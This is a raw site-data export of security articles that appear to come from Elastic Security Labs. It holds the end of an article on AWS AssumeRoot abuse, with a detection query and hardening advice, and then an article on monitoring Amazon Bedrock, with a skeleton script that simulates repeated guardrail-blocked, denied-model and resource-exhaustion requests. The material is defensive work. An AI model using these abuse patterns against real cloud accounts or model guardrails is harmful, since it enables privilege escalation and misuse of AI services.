behavior.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Detection Rule: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/4374128458d116211d5d22993b6d87f6c82a30a0/rules/integrations/aws/persistence_iam_create_login_profile_for_root.toml\",rel:\"nofollow\",children:\"AWS IAM Login Profile Added for Root\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"MITRE ATT\u0026CK:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"T1098.003 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1098/003/\",rel:\"nofollow\",children:\"Account Manipulation: Additional Cloud Roles\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"T1548.005 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1548/005/\",rel:\"nofollow\",children:\"Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"T1078.004 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1078/004/\",rel:\"nofollow\",children:\"Valid Accounts: Cloud Accounts\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Language: ES|QL\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`FROM logs-aws.cloudtrail* \n| WHERE\n // filter for CloudTrail logs from IAM\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"iam.amazonaws.com\"\n // filter for successful CreateLoginProfile API call\n and event.action == \"CreateLoginProfile\"\n and event.outcome == \"success\"\n // filter for Root member account\n and aws.cloudtrail.user_identity.type == \"Root\"\n // filter for an access key existing which sources from AssumeRoot\n and aws.cloudtrail.user_identity.access_key_id IS NOT NULL\n // filter on the request parameters not including UserName which assumes self-assignment\n and NOT TO_LOWER(aws.cloudtrail.request_parameters) LIKE \"*username*\"\n| keep\n @timestamp,\n aws.cloudtrail.request_parameters,\n aws.cloudtrail.response_elements,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.access_key_id,\n cloud.account.id,\n event.action,\n source.address\n source.geo.continent_name,\n source.geo.region_name,\n source.geo.city_name,\n user_agent.original,\n user.id\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"These detections are specific to our scenario, however, are not fully inclusive regarding all potential AssumeRoot abuse. If you choose to explore and discover some additional hunting or threat detection opportunities, feel free to share in our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"Detection Rules\"}),\" repository or the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/tree/main/hunting\",rel:\"nofollow\",children:\"Threat Hunting\"}),\" library of ours.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"hardening-practices-for-assumeroot-use\",children:\"Hardening Practices for AssumeRoot Use\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"AWS \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html\",rel:\"nofollow\",children:\"documentation\"}),\" contains several important considerations for best security practices regarding IAM, STS, and many other services. However, cloud security is not a \\u201Cone size fits all\\u201D workflow and security practices should be tailored to your environment, risk-tolerance, and more.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Visibility is Key:\"}),\" If you can\\u2019t see it, you can\\u2019t protect it. Start by enabling CloudTrail with organization-wide trails to log activity across all accounts. Focus on capturing IAM and STS operations for insights into access and permission usage. Pair this with Security Hub for continuous monitoring and tools like Elastic or GuardDuty to hunt for unusual AssumeRoot actions.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Lock Down AssumeRoot Permissions:\"}),\" Scope AssumeRoot usage to critical tasks only, like audits or recovery, by restricting task policies to essentials like IAMAuditRootUserCredentials. Assign these permissions to specific roles in the management account and keep those roles tightly controlled. Regularly review and remove unnecessary permissions to maintain the PLoP.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"MFA and Guardrails for Root Access:\"}),\" Enforce MFA for all users, especially those with access to AssumeRoot. Use AWS Organizations to disable root credential recovery unless absolutely needed and remove unused root credentials entirely. RCPs can help centralize and tighten permissions for tasks involving AssumeRoot or other sensitive operations.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"We hope this article provides valuable insight into AWS\\u2019 AssumeRoot API operation, how it can be abused by adversaries, and some threat detection and hunting guidance. Abusing AssumeRoot is one of many living-off-the-cloud (LotC) techniques that adversaries have the capability to target, but we encourage others to explore, research, and share their findings accordingly with the community and AWS.\"})]})}function _(o={}){let{wrapper:e}=o.components||{};return e?(0,t.jsx)(e,Object.assign({},o,{children:(0,t.jsx)(d,o)})):d(o)}var v=_;return y(S);})();\n;return Component;"},"_id":"articles/exploring-aws-sts-assumeroot.mdx","_raw":{"sourceFilePath":"articles/exploring-aws-sts-assumeroot.mdx","sourceFileName":"exploring-aws-sts-assumeroot.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/exploring-aws-sts-assumeroot"},"type":"Article","imageUrl":"/assets/images/exploring-aws-sts-assumeroot/Security Labs Images 20.jpg","readingTime":"19 min read","series":"","url":"/exploring-aws-sts-assumeroot","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Understanding AWS STS and the AssumeRoot API","href":"#understanding-aws-sts-and-the-assumeroot-api"},{"level":3,"title":"Introduction to AssumeRoot","href":"#introduction-to-assumeroot"},{"level":3,"title":"What Are Member Accounts?","href":"#what-are-member-accounts"},{"level":3,"title":"How Does AssumeRoot Work?","href":"#how-does-assumeroot-work"},{"level":3,"title":"Potential Abuse of Task Policies","href":"#potential-abuse-of-task-policies"},{"level":2,"title":"AssumeRoot in Action","href":"#assumeroot-in-action"},{"level":3,"title":"Member Account Creation","href":"#member-account-creation"},{"level":3,"title":"Environment Setup","href":"#environment-setup"},{"level":3,"title":"Establish an STS Client Session with Stolen Credentials","href":"#establish-an-sts-client-session-with-stolen-credentials"},{"level":3,"title":"Assume Root for Member Account on Behalf of Compromised User","href":"#assume-root-for-member-account-on-behalf-of-compromised-user"},{"level":3,"title":"Creating a Login Profile for the Member Root Account","href":"#creating-a-login-profile-for-the-member-root-account"},{"level":3,"title":"Reset the Administrator Password and Login to the AWS Console","href":"#reset-the-administrator-password-and-login-to-the-aws-console"},{"level":2,"title":"Detection and Hunting Opportunities","href":"#detection-and-hunting-opportunities"},{"level":3,"title":"Hunting \\- Unusual Action for IAM User Access Key","href":"#hunting---unusual-action-for-iam-user-access-key"},{"level":3,"title":"Detection \\- Unusual Assume Root Action by Rare IAM User","href":"#detection---unusual-assume-root-action-by-rare-iam-user"},{"level":3,"title":"Detection \\- Self-Created Login Profile for Root Member Account","href":"#detection---self-created-login-profile-for-root-member-account"},{"level":2,"title":"Hardening Practices for AssumeRoot Use","href":"#hardening-practices-for-assumeroot-use"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Streamlining Security: Integrating Amazon Bedrock with Elastic","slug":"streamlining-security-integrating-amazon-bedrock","date":"2024-11-14","description":"This article will guide you through the process of setting up the Amazon Bedrock integration and enabling Elastic's prebuilt detection rules to streamline your security operations.","image":"Security Labs Images 36.jpg","body":{"raw":"\n# Preamble\n\nIn the ever-evolving landscape of cloud computing, maintaining robust security while ensuring compliance is a critical challenge for organizations of all sizes. As businesses increasingly adopt the cloud, the complexity of managing and securing data across various platforms grows exponentially. \n\n[Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/what-is-bedrock.html), with its powerful foundation of machine learning and AI services, offers a scalable, secure environment for organizations to develop and deploy intelligent applications. However, to fully harness the potential of these innovations, it’s essential to implement a streamlined approach to security and compliance.\n\nIntegrating Elastic with Amazon Bedrock can significantly enhance security monitoring and compliance management within your cloud environment. This integration leverages Elastic’s search, observability, and security capabilities to optimize how you manage and secure applications and data hosted on Amazon Bedrock. \n\t \nElastic’s [security information and event management (SIEM) capabilities](https://www.elastic.co/security/siem) can be used to analyze logs and monitor events generated by applications running on Amazon Bedrock. This allows for the detection of potential security threats in real-time and automated response actions to mitigate risks.\n\nThis article will guide you through the process of setting up Amazon Bedrock integration and enabling our prebuilt detection rules to streamline your security operations. We will cover the following key aspects:\n\n 1. **Prerequisites for Elastic Amazon Bedrock Integration:** Understanding the core requirements for setting up Elastic Amazon Bedrock integration for cloud security. \n 2. **Setting Up Amazon Bedrock Integration**: Step-by-step instructions to set up Amazon Bedrock in your existing AWS infrastructure. \n 3. **Enabling Prebuilt Security Rules**: How to leverage [prebuilt rules](https://www.elastic.co/guide/en/security/current/rules-ui-management.html) to detect high-confidence policy violations and other security threats. \n 4. **Exploring High-Confidence Misconduct Blocks Detection:** An in-depth look at a specific prebuilt rule designed to detect high-confidence misconduct blocks within Amazon Bedrocklogs. \n 5. **Demonstrate an Exploit Case Scenario for Amazon Bedrock:** Using a sample python script to simulate interactions with an Amazon Bedrock model for testing exploit scenarios that could trigger Elastic prebuilt detection rules.\n\n# Prerequisites for Elastic Amazon Bedrock Integration\n\n## Elastic Integration for Amazon Bedrock\n\nThe Amazon Bedrock integration collects Amazon Bedrock model invocation logs and runtime metrics with Elastic Agent. For a deeper dive on the integration, documentation can be found in our [documentation.](https://www.elastic.co/docs/current/integrations/aws_bedrock)\n\nBelow are the list of prerequisites to have a complete and successful configuration of Amazon Bedrock Elastic Integration:\n\n * AWS Account Setup \n * Elastic Cloud Requirements \n * Terraform (Optional)\n\n### AWS Account Setup\n\n * **Active AWS Account**: Ensure you have an active AWS account with the appropriate permissions to deploy and manage resources on Amazon Bedrock. \n * **Amazon Bedrock Setup**: Confirm that Amazon Bedrock is correctly configured and operational within your AWS environment. This includes setting up AI models, datasets, and other resources necessary for your applications. Refer to [Getting started with Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html) for additional information on the setup. \n * **IAM Roles and Permissions**: Create or configure Identity and Access Management (IAM) roles with the necessary permissions to allow Elastic to access Amazon Bedrock resources. These roles should have sufficient privileges to read logs, metrics, and traces from AWS services. Additional details of the requirements can be found in our [AWS documentation](https://www.elastic.co/docs/current/integrations/aws#requirements). \n\n### Elastic Cloud Requirements\n\n| [Version](https://www.elastic.co/docs/current/integrations/aws_bedrock#changelog) | 0.7.0 (Beta) |\n| :---- | :---- |\n| **Compatible Kibana version(s)** | 8.13.0 or higher for integration version 0.2.0 and above. Minimum Kibana Version 8.12.0 |\n| [**Supported Serverless project types**](https://www.elastic.co/docs/current/integrations/serverless/support) | Security Observability |\n| [**Subscription level**](https://www.elastic.co/subscriptions) | Basic |\n| [**Level of support**](https://www.elastic.co/docs/current/integrations/support) | Elastic |\n\n**Note:** Since the integration is in Beta Release Stage, please enable ***Display Beta Integrations in the browse integration section of the Management pane in your Elastic stack.***\n\n\n\n### Terraform\n\n[Terraform](https://www.terraform.io/) is an open source infrastructure-as-code (IaC) tool created by HashiCorp that allows you to define, provision, and manage cloud and on-premises infrastructure in a consistent and repeatable way. \n\t \nThis is an optional step, but good to have as the next sections of the article we use this tool to set up the required AWS Infrastructure. Deep dive on installation and docs can be found [here](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli).\n\n# Setting Up Amazon Bedrock Integration\n\nIn this section of the article, we will walk through the steps to set up Amazon Bedrock integration with Elastic in two parts: \n\n 1. **Setting Up AWS Infrastructure with Terraform**: In this section, we'll walk through the steps to set up an AWS infrastructure using Terraform. We'll create an S3 bucket, an EC2 instance with the necessary IAM roles and policies to access the S3 bucket, and configure security groups to allow SSH access. This setup is ideal for scenarios where you need an EC2 instance to interact with S3, such as for data processing or storage. \n 2. **Elastic Agent and Integration Setup**: In this section, we'll walk through the steps to install Elastic Agent on the AWS EC2 instance and Configure the Amazon Bedrock Integration. \n\n### Setting Up AWS Infrastructure with Terraform\n\nThe high-level configuration process will involve the following steps:\n\n 1. Configuring ```providers.tf``` \n 2. Configuring ```variables.tf``` \n 3. Configuring ```outputs.tf``` \n 4. Configuring ```main.tf```\n\nThe ```providers.tf``` file typically contains the configuration for any Terraform providers you are using in your project. In our example, it includes the configuration for the AWS provider. Here is the [sample content](https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-providers-tf) of our ```providers.tf``` file. The ```profile``` mentioned in the ```providers.tf``` should be configured in the user’s space of the AWS credentials file ```(~/.aws/credentials)```. Refer to [Configuration and credential file settings \\- AWS Command Line Interface](https://docs.aws.amazon.com/cli/v1/userguide/cli-configure-files.html#cli-configure-files-format-profile), which is also highlighted in the credential section of Elastic’s [AWS documentation](https://www.elastic.co/docs/current/integrations/aws#aws-credentials).\n\nThe ```variables.tf``` file contains the variable definitions used throughout your Terraform configuration. For our scenario, it includes the definition for the aws\\_region and resource\\_labels. Here is the [sample content](https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-variables-tf) of our ```variables.tf``` file.\n\nThe ```outputs.tf``` file typically contains the output definitions for your Terraform configuration. These outputs can be used to display useful information after your infrastructure is provisioned. Here is the [sample content](https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-outputs-tf) of our ```outputs.tf``` file\n\nThe ```main.tf``` file typically contains the collection of all of these resources such as data sources, S3 bucket and bucket policy, Amazon Bedrock Model Invocation Log configuration, SQS Queue configuration, IAM Role and Policies required by the EC2 instance that would install Elastic Agent and stream logs and Amazon Bedrock Guardrail configuration. Here is the [sample content](https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-main-tf) of our ```main.tf``` file.\n\nOnce the ```main.tf``` is configured according to the requirements we can then initialize, plan and apply the terraform configuration.\n\n```\nterraform init // initializes the directory and sets up state files in backend\nterraform plan // command creates an execution plan\nterraform apply // command applies the configuration aka execution step\n```\n\nTo tear down the infrastructure that terraform has previously created one can use the ```terraform destroy``` command.\n\nOnce the infrastructure setup is completed, necessary resource identifiers are provided via ```outputs.tf.``` We can conduct a basic verification of the infrastructure created using the following steps: \n\n 1. Verify the S3 Bucket created from the Terraform, one can either use aws cli command reference [list-buckets — AWS CLI 1.34.10 Command Reference](https://docs.aws.amazon.com/cli/latest/reference/s3api/list-buckets.html) or navigate via AWS console to verify the same. 2. Verify the SQS Queue created from the terraform, one can either use aws cli command reference [list-queues — AWS CLI 1.34.10 Command Reference](https://docs.aws.amazon.com/cli/latest/reference/sqs/list-queues.html) or navigate via AWS console to verify the same. \n 3. Verify the EC2 Instance created from the AWS console and connect to the ec2-instance via [Connect using EC2 Instance Connect \\- Amazon Elastic Compute Cloud](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console) and run ```aws s3 ls example-bucket-name``` to check if the instance has access to the created S3 bucket. \n 4. Verify the Amazon Bedrock Guardrail created from the Terraform, once can either use Amazon Bedrock API [ListGuardrails \\- Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/APIReference/API_ListGuardrails.html) or navigate via AWS console to verify the same.\n\n### Setting Up Elastic Agent and Integration Setup\n\nTo install Elastic Agent on the AWS EC2 instance and configure the Amazon Bedrock integration, create an agent policy using the guided steps in [Elastic Agent policies | Fleet and Elastic Agent Guide \\[8.15\\]](https://www.elastic.co/guide/en/fleet/current/agent-policy.html). Then log into to the ec2-instance created in the infrastructure setup steps via [Connect using EC2 Instance Connect \\- Amazon Elastic Compute Cloud](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console), and install the elastic agent using the guided steps in [Install Elastic Agents | Fleet and Elastic Agent Guide \\[8.15\\]](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html). During the agent installation, remember to select the agent policy created at the beginning of this setup process and use the relevant agent installation method depending on the instance created. Finally, ensure the agent is properly configured and there is incoming data from the agent.\n\nTo configure the Amazon Bedrock integration in the newly-created policy, add the Amazon Bedrock integration using the guided steps: [Add an Elastic Agent integration to a policy](https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html). Enable Beta Integrations to use Amazon Bedrock integration as displayed in the image below. \n\n\n\nConfigure the Integration with AWS Access Keys to access the AWS account where Amazon Bedrock is configured. Use the Collect Logs from S3 bucket and specify the Bucket ARN created in the setup step. Please note to use either the S3 Bucket or the SQS Queue URL during the setup and *not both*. Add this integration to the existing policy where the ec2-instance is configured. \n\n\n\n### Verify Amazon Bedrock Model Invocation Log Ingestions\n\nOnce the Elastic Agent and integration setup is completed, we can conduct a basic verification of the integration to determine if the logs are being ingested as expected by using the following example API call: \n\n```\naws bedrock-runtime converse \\\n--model-id \"anthropic.claude-3-5-sonnet-20240620-v1:0\" \\\n--messages '[{\"role\":\"user\",\"content\":[{\"text\":\"Hello \"}]}]' \\\n--inference-config '{\"maxTokens\":2000,\"stopSequences\":[],\"temperature\":1,\"topP\":0.999}' \\\n--additional-model-request-fields '{\"top_k\":250}' \\\n--region us-east-1\n```\n\nThe example API call assumes a working setup with aws cli and there is access for the foundational model [Anthropic Claude Messages API \\- Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-parameters-anthropic-claude-messages.html). If the user does not have access to the model one can simply request access for models from the model-access page as suggested in [Access Amazon Bedrock foundation models](https://docs.aws.amazon.com/bedrock/latest/userguide/model-access.html), or we can optionally change the API call to any existing model the user can access. \n\nOn successful execution of the above API call, the Amazon Bedrock Model invocation logs are populated and in Kibana ```logs-aws_bedrock.invocation-default``` should be populated with those invocation logs. We can use the following simple ES|QL query to return recently ingested events.\n\n```\nfrom logs-aws_bedrock.invocation-* | LIMIT 10\n```\n\n# Enable Prebuilt Detection Rules\n\nTo enable prebuilt detection rules, first login to the elastic instance and from the left pane navigation navigate to Security → Rules → Detection rules (SIEM). Filter for “Data Source: Amazon Bedrock” from the tags section. \n\nEnable the available prebuilt rules. For prebuilt rules, the Setup information contains a helper guide to setup AWS Guardrails for Amazon Bedrock, which is accomplished in the [Setting Up AWS Infrastructure with Terraform](?tab=t.0#bookmark=id.5wbf10usmxhz) step if the example is followed correctly and the terraform has the Amazon Bedrock Guardrail configuration. Please note this setup is vital for some of the rules to generate alerts–we need to ensure the guardrail is set up accordingly if skipped in the infrastructure setup stage.\n\n\n\n# Exploring High-Confidence Misconduct Blocks Detection\n\nLet’s simulate a real world scenario in which a user queries a topic denied to the Amazon Bedrock model. Navigate to the Amazon Bedrock section in the Amazon UI Console, and use the left navigation pane to navigate to the Guardrails subsection under Safeguards. Use the sample guardrail created during our setup instructions for this exercise, and use the test option to run a model invocation with the guardrails and query the denied topic configured.\n\n\n\nRepeat the query at least 6 times as the prebuilt rule is designed to alert on greater than 5 high confidence blocks. When the Alert schedule runs, we can see an alert populate for ```Unusual High Confidence Misconduct Blocks Detected.```\n\n\n\n# Demonstrate an Exploit Case Scenario for Amazon Bedrock\n\nTo simulate an Amazon Bedrock Security bypass, we need an exploit simulation script to interact with Amazon Bedrock models. The exploit script example we provide simulates the following attack pattern: \n\n * Attempts multiple successive requests to use denied model resources within AWS Bedrock \n * Generates multiple successive validation exception errors within Amazon Bedrock \n * User consistently generates high input token counts, submits numerous requests, and receives large responses that mimic patterns of resource exhaustion \n * Combines repeated high-confidence 'BLOCKED' actions coupled with specific violation codes such as 'MISCONDUCT', indicating persistent misuse or attempts to probe the model's ethical boundaries\n\n```py\nclass BedrockModelSimulator:\n def __init__(self, profile_name, region_name):\n // Create a Boto3 Session Client for Ineration \n def generate_args_invoke_model(self, model_id, user_message, tokens): \t// Generate Model Invocation parameters\n guardrail_id = \u003c\u003cGUARDRAIL_ID\u003e\u003e\n guardrail_version = \u003c\u003cGUARDRAIL_VERSION\u003e\u003e\n\n guardrail_config = {\n \"guardrailIdentifier\": guardrail_id,\n \"guardrailVersion\": guardrail_version,\n \"trace\": \"enabled\"\n }\n conversation = [\n {\n \"role\": \"user\",\n \"content\": [{\"text\": user_message}],\n }\n ]\n inference_config = {\"maxTokens\": tokens, \"temperature\": 0.7, \"topP\": 1}\n additional_model_request_fields = {}\n\n kwargs = {\n \"modelId\": model_id,\n \"messages\": conversation,\n \"inferenceConfig\": inference_config,\n \"additionalModelRequestFields\": additional_model_request_fields\n\t \"guardrailConfig\" : guardrail_config\n }\n return kwargs\n \n def invoke_model(self, invocation_arguments):\n for _ in range(count):\n try:\n // Invoke Model With right invocation_arguments\n except ClientError as e:\n // Error meesage\n\ndef main():\n profile_name = \u003c\u003cAWS Profile\u003e\u003e\n region_name = 'us-east-1'\n denied_model_id = // Use a denied model \n denied_model_user_message = // Sample Message \n available_model_id = // Use an available model \n validation_exception_user_message = // Sample Message \n resource_exploit_user_message = // A very big message for resource exhuastion\n denied_topic_user_message = // Sample Message that can query denied topic configured\n simulator = BedrockModelSimulator(profile_name, region_name)\n denied_model_invocation_arguments = simulator.generate_args_invoke_model(denied_model_id, denied_model_user_message, 200)\n simulator.invoke_model(denied_model_invocation_arguments)\n validation_exception_invocation_arguments = simulator.generate_args_invoke_model(available_model_id, validation_exception_user_message, 6000)\n simulator.invoke_model(validation_exception_invocation_arguments)\n resource_exhaustion_invocation_arguments = simulator.generate_args_invoke_available_model(available_model_id, resource_exploit_user_message, 4096)\n simulator.invoke_model(resource_exhaustion_invocation_arguments)\n denied_topic_invocation_arguments = simulator.generate_args_invoke_available_model_guardrail(available_model_id, denied_topic_user_message, 4096)\n simulator.invoke_model(denied_topic_invocation_arguments)\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Note:** The GUARDRAIL\\_ID and GUARDRAIL\\_VERSION can be found in ```outputs.tf``` \n\nWhen executed in a controlled environment, the provided script simulates an exploit scenario that would generate detection alerts in Elastic Security. When analyzing these alerts using the Elastic Attack Discovery feature, the script creates attack chains that show the relationships between various alerts, giving analysts a clear understanding of how multiple alerts might be part of a larger attack.\n\n\n\n# Conclusion\n\nIntegrating Elastic with Amazon Bedrock empowers organizations to maintain a secure and compliant cloud environment while maximizing the benefits of AI and machine learning. By leveraging Elastic’s advanced security and observability tools, businesses can proactively detect threats, automate compliance reporting, and gain deeper insights into their cloud operations. Increasingly, enterprises rely on opaque data sources and technologies to reveal the most serious threats-- our commitment to transparent security is evident in our open artifacts, integrations, and source code.","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},s=(t,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!p.call(t,o)\u0026\u0026o!==i\u0026\u0026r(t,o,{get:()=\u003ee[o],enumerable:!(a=u(e,o))||a.enumerable});return t};var b=(t,e,i)=\u003e(i=t!=null?h(m(t)):{},s(e||!t||!t.__esModule?r(i,\"default\",{value:t,enumerable:!0}):i,t)),v=t=\u003es(r({},\"__esModule\",{value:!0}),t);var l=f((z,c)=\u003e{c.exports=_jsx_runtime});var A={};w(A,{default:()=\u003ek,frontmatter:()=\u003e_});var n=b(l()),_={title:\"Streamlining Security: Integrating Amazon Bedrock with Elastic\",slug:\"streamlining-security-integrating-amazon-bedrock\",date:\"2024-11-14\",description:\"This article will guide you through the process of setting up the Amazon Bedrock integration and enabling Elastic's prebuilt detection rules to streamline your security operations.\",author:[{slug:\"shashank-k-s\"}],image:\"Security Labs Images 36.jpg\",category:[{slug:\"security-research\"}]};function d(t){let e=Object.assign({h1:\"h1\",p:\"p\",a:\"a\",ol:\"ol\",li:\"li\",strong:\"strong\",h2:\"h2\",ul:\"ul\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",em:\"em\",img:\"img\",code:\"code\",pre:\"pre\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h1,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsx)(e.p,{children:\"In the ever-evolving landscape of cloud computing, maintaining robust security while ensuring compliance is a critical challenge for organizations of all sizes. As businesses increasingly adopt the cloud, the complexity of managing and securing data across various platforms grows exponentially.\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/bedrock/latest/userguide/what-is-bedrock.html\",rel:\"nofollow\",children:\"Amazon Bedrock\"}),\", with its powerful foundation of machine learning and AI services, offers a scalable, secure environment for organizations to develop and deploy intelligent applications. However, to fully harness the potential of these innovations, it\\u2019s essential to implement a streamlined approach to security and compliance.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Integrating Elastic with Amazon Bedrock can significantly enhance security monitoring and compliance management within your cloud environment. This integration leverages Elastic\\u2019s search, observability, and security capabilities to optimize how you manage and secure applications and data hosted on Amazon Bedrock.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Elastic\\u2019s \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security/siem\",rel:\"nofollow\",children:\"security information and event management (SIEM) capabilities\"}),\" can be used to analyze logs and monitor events generated by applications running on Amazon Bedrock. This allows for the detection of potential security threats in real-time and automated response actions to mitigate risks.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This article will guide you through the process of setting up Amazon Bedrock integration and enabling our prebuilt detection rules to streamline your security operations. We will cover the following key aspects:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Prerequisites for Elastic Amazon Bedrock Integration:\"}),\" Understanding the core requirements for setting up Elastic Amazon Bedrock integration for cloud security.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Setting Up Amazon Bedrock Integration\"}),\": Step-by-step instructions to set up Amazon Bedrock in your existing AWS infrastructure.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Enabling Prebuilt Security Rules\"}),\": How to leverage \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/rules-ui-management.html\",rel:\"nofollow\",children:\"prebuilt rules\"}),\" to detect high-confidence policy violations and other security 